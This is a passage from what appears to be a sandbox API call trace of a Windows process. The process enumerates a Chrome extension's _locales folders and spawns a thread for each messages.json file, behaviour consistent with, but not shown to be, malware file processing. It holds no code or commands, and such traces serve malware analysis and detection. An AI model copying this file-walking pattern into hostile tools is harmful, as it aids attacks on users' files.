Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr" [0181.165] wcscat (in: _Dest=0x940fb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\" [0181.165] wcscat (in: _Dest=0x940fb0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json" [0181.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e0 [0181.998] FindNextFileW (in: hFindFile=0x9426f0, lpFindFileData=0x96e6a8 | out: lpFindFileData=0x96e6a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83478f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x419f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.998] FindClose (in: hFindFile=0x9426f0 | out: hFindFile=0x9426f0) returned 1 [0181.999] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96e6a8) returned 1 [0181.999] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a8200) returned 1 [0181.999] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd499ed8) returned 1 Thread: id = 7313 os_tid = 0x1774 [0180.256] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a8338 [0180.256] wcscpy (in: _Dest=0xd4a8338, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu" [0180.256] wcscat (in: _Dest=0xd4a8338, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\" [0180.256] wcscat (in: _Dest=0xd4a8338, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*" [0180.257] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96e910 [0180.257] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*", lpFindFileData=0x96e910 | out: lpFindFileData=0x96e910*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422b0 [0181.165] wcscmp (_String1=".", _String2=".") returned 0 [0181.165] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x96e910 | out: lpFindFileData=0x96e910*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.165] wcscmp (_String1="..", _String2=".") returned 1 [0181.165] wcscmp (_String1="..", _String2="..") returned 0 [0181.165] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x96e910 | out: lpFindFileData=0x96e910*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83480480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5079, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.166] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.166] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.166] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x941108 [0181.166] wcscpy (in: _Dest=0x941108, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu" [0181.166] wcscat (in: _Dest=0x941108, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\" [0181.166] wcscat (in: _Dest=0x941108, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json" [0181.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x941108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d4 [0182.000] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x96e910 | out: lpFindFileData=0x96e910*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83480480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5079, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0182.000] FindClose (in: hFindFile=0x9422b0 | out: hFindFile=0x9422b0) returned 1 [0182.001] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96e910) returned 1 [0182.001] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a8338) returned 1 [0182.001] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a6868) returned 1 Thread: id = 7314 os_tid = 0x18fc [0180.257] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a8470 [0180.257] wcscpy (in: _Dest=0xd4a8470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi" [0180.257] wcscat (in: _Dest=0xd4a8470, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\" [0180.258] wcscat (in: _Dest=0xd4a8470, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*" [0180.258] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96eb78 [0180.258] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*", lpFindFileData=0x96eb78 | out: lpFindFileData=0x96eb78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942330 [0181.166] wcscmp (_String1=".", _String2=".") returned 0 [0181.166] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x96eb78 | out: lpFindFileData=0x96eb78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.166] wcscmp (_String1="..", _String2=".") returned 1 [0181.166] wcscmp (_String1="..", _String2="..") returned 0 [0181.166] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x96eb78 | out: lpFindFileData=0x96eb78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834879b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x50f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.166] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.166] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.167] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x941260 [0181.167] wcscpy (in: _Dest=0x941260, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi" [0181.167] wcscat (in: _Dest=0x941260, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\" [0181.167] wcscat (in: _Dest=0x941260, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json" [0182.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x941260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c4 [0182.002] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x96eb78 | out: lpFindFileData=0x96eb78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834879b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x50f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0182.002] FindClose (in: hFindFile=0x942330 | out: hFindFile=0x942330) returned 1 [0182.003] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96eb78) returned 1 [0182.003] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a8470) returned 1 [0182.003] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a69a0) returned 1 Thread: id = 7315 os_tid = 0x1900 [0180.258] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a85a8 [0180.258] wcscpy (in: _Dest=0xd4a85a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr" [0180.258] wcscat (in: _Dest=0xd4a85a8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\" [0180.259] wcscat (in: _Dest=0xd4a85a8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*" [0180.259] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96ede0 [0180.259] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*", lpFindFileData=0x96ede0 | out: lpFindFileData=0x96ede0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941df0 [0181.167] wcscmp (_String1=".", _String2=".") returned 0 [0181.167] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x96ede0 | out: lpFindFileData=0x96ede0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.167] wcscmp (_String1="..", _String2=".") returned 1 [0181.167] wcscmp (_String1="..", _String2="..") returned 0 [0181.167] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x96ede0 | out: lpFindFileData=0x96ede0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8348eee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.167] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.167] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.167] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x9413b8 [0181.167] wcscpy (in: _Dest=0x9413b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr" [0181.167] wcscat (in: _Dest=0x9413b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\" [0181.168] wcscat (in: _Dest=0x9413b8, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json" [0182.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9413b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19bc [0182.004] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x96ede0 | out: lpFindFileData=0x96ede0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8348eee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0182.004] FindClose (in: hFindFile=0x941df0 | out: hFindFile=0x941df0) returned 1 [0182.005] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96ede0) returned 1 [0182.005] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a85a8) returned 1 [0182.005] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a6ad8) returned 1 Thread: id = 7316 os_tid = 0x1904 [0180.259] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a86e0 [0180.259] wcscpy (in: _Dest=0xd4a86e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu" [0180.259] wcscat (in: _Dest=0xd4a86e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\" [0180.260] wcscat (in: _Dest=0xd4a86e0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*" [0180.260] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96f048 [0180.260] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*", lpFindFileData=0x96f048 | out: lpFindFileData=0x96f048*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942130 [0181.168] wcscmp (_String1=".", _String2=".") returned 0 [0181.168] FindNextFileW (in: hFindFile=0x942130, lpFindFileData=0x96f048 | out: lpFindFileData=0x96f048*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.168] wcscmp (_String1="..", _String2=".") returned 1 [0181.168] wcscmp (_String1="..", _String2="..") returned 0 [0181.168] FindNextFileW (in: hFindFile=0x942130, lpFindFileData=0x96f048 | out: lpFindFileData=0x96f048*(dwFileAttributes=0x2020, 